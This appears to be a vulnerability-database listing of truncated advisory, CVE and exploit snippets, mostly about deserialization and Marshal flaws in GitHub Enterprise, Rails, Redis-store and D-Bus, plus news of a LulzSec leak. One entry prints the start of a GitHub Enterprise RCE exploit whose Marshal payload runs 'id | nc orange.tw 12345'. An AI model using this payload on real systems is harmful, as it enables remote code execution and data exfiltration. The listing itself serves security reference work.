Deserialization of untrusted data

The Management Console in GitHub Enterprise 2.8.x before 2.8.7 has a deserialization issue that allows unauthenticated remote attackers to execute arbitrary code. This occurs because the enterprise session secret is always the same, and can be found in the product's source code. By sending a...

CVE-2017-18365

The Management Console in GitHub Enterprise 2.8.x before 2.8.7 has a deserialization issue that allows unauthenticated remote attackers to execute arbitrary code. This occurs because the enterprise session secret is always the same, and can be found in the product's source code. By sending a...

CVE2018-8550Poc

这个漏洞属于com组件Unmarshal类型本地权限提升漏洞 复现环境 1. Windows 10 1709 32位操作系统 2. 需要安装声卡或操作系统自带虚拟声卡 3. 编译环境Visual Studio 2013 Poc 分析 原poc作者James Forshaw使用C实现,我一直未复现成功,不过通过原poc的代码我大致明白了漏洞的成因和触发方法,原poc环境是win10 1803...

Ruby: The taint flag is not propagated at JSON.parse

Vulnerability description not provided...

Ruby on Rails: Untrusted strings that are cache fetched with raw option are automatically marshal loaded

This vulnerability effects application code that caches a string from an untrusted source using the raw: true option. For example, vulnerable application code might looks something like the following ruby body = Rails.cache.fetchkey, raw: true, expiresin: ttl do res = Net::HTTP.getresponseremoteu...

Exploring de-serialization issues in Ruby projects.

Ruby on Rails is a popular application platform that uses cookies to identify application sessions. The cookie consists of two parts: cookie-value and signature. Whenever Rails gets a cookie, it verifies that the cookie has not been tampered with by verifying that the hash/signature of the...

Unsafe objects can be loaded from Redis

Redis-store =v1.3.0 allows unsafe objects to be loaded from Redis via the use of the Marshal serializer...

[SECURITY] Fedora 26 Update: rubygem-ox-2.4.13-2.fc26

A fast XML parser and object serializer that uses only standard C lib. Optimized XML Ox, as the name implies was written to provide speed optimi zed XML handling. It was designed to be an alternative to Nokogiri and other Ru by XML parsers for generic XML parsing and as an alternative to Marshal...

[SECURITY] Fedora 27 Update: rubygem-ox-2.8.2-1.fc27

A fast XML parser and object serializer that uses only standard C lib. Optimized XML Ox, as the name implies was written to provide speed optimi zed XML handling. It was designed to be an alternative to Nokogiri and other Ru by XML parsers for generic XML parsing and as an alternative to Marshal...

SSRF, Memcached and other key-value injections in the wild

Back in 2012 we released SSRF a different techniques to exploit Memcached servers and other services with host-based authentication through SSRF. Two years after, in 2014, I presented a Memcached injection techniques at Black Hat USA . There I mentioned that it’s possible to exploit it as a Remot...

GitHub Enterprise 2.8.7 - Remote Code Execution

GitHub Enterprise 2.8.7 - Remote Code Execution !/usr/bin/python from urllib import quote ''' set up the marshal payload from IRB code = "id | nc orange.tw 12345" p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07...

UBUNTU-CVE-2016-8578

The v9fsiovvunmarshal function in fsdev/9p-iov-marshal.c in QEMU aka Quick Emulator allows local guest OS administrators to cause a denial of service NULL pointer dereference and QEMU process crash by sending an empty string parameter to a 9P operation...

Metasploit config.action_dispatch.cookies_serializer deserialization vulnerability

Metasploit is an open source security vulnerability detection tool that helps security and IT professionals identify security issues, validate mitigations for vulnerabilities, and manage expert-driven security for assessments that provide true security risk intelligence. A deserialization...

Multiple IEA Software Products HTTP POST Request Denial of Service Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/27701/info Multiple IEA Software products are prone to a denial-of-service vulnerability. Successfully exploiting this issue will allow attackers to crash the affected application, denying service to legitimate users. Thi...

MS Internet Explorer Heap Overflow (MS12-043)

Exploit for windows platform in category local exploits Title : MS Internet Explorer Heap Overflow MS12-043 Version : Internet Explorer 6 through 9 Auther : Senator of Pirates Founders : Marshal Webb & Khalil Zhani E-Mail : Senator.of.Pirates.team at gmail.com FaceBook : /SenatorofPiratesInfo...

CAS Modbus RTU Parser Buffer Overflow SEH (PoC)

Exploit for windows platform in category dos / poc Title : CAS Modbus RTU Parser Buffer Overflow SEH PoC Author : Senator of Pirates Founder : Marshal Webb Link Software : http://www.chipkin.com/technical-resources/cas-modbus-rtu-parser/ FaceBook : /SenatorofPiratesInfo Marshal's FaceBook :...

CVE-2011-2200

The dbusheaderbyteswap function in dbus-marshal-header.c in D-Bus aka DBus 1.2.x before 1.2.28, 1.4.x before 1.4.12, and 1.5.x before 1.5.4 does not properly handle a non-native byte order, which allows local users to cause a denial of service connection loss, obtain potentially sensitive...

Design/Logic Flaw

The dbusheaderbyteswap function in dbus-marshal-header.c in D-Bus aka DBus 1.2.x before 1.2.28, 1.4.x before 1.4.12, and 1.5.x before 1.5.4 does not properly handle a non-native byte order, which allows local users to cause a denial of service connection loss, obtain potentially sensitive...

LulzSec exposed details of alleged snitches

LulzSec exposed details of alleged snitches In a Pastebin post, LulzSec explained that the two hackers allegedly tried to "snitch on them", and so LulzSec took revenge. LulzSec boasted to the FBI "& other law enforcement clowns", saying: "we just did your job for you with great ease". The first...

LulzSec exposed details of alleged snitches

LulzSec exposed details of alleged snitches In a Pastebin post, LulzSec explained that the two hackers allegedly tried to "snitch on them", and so LulzSec took revenge. LulzSec boasted to the FBI "& other law enforcement clowns", saying: "we just did your job for you with great ease". The first...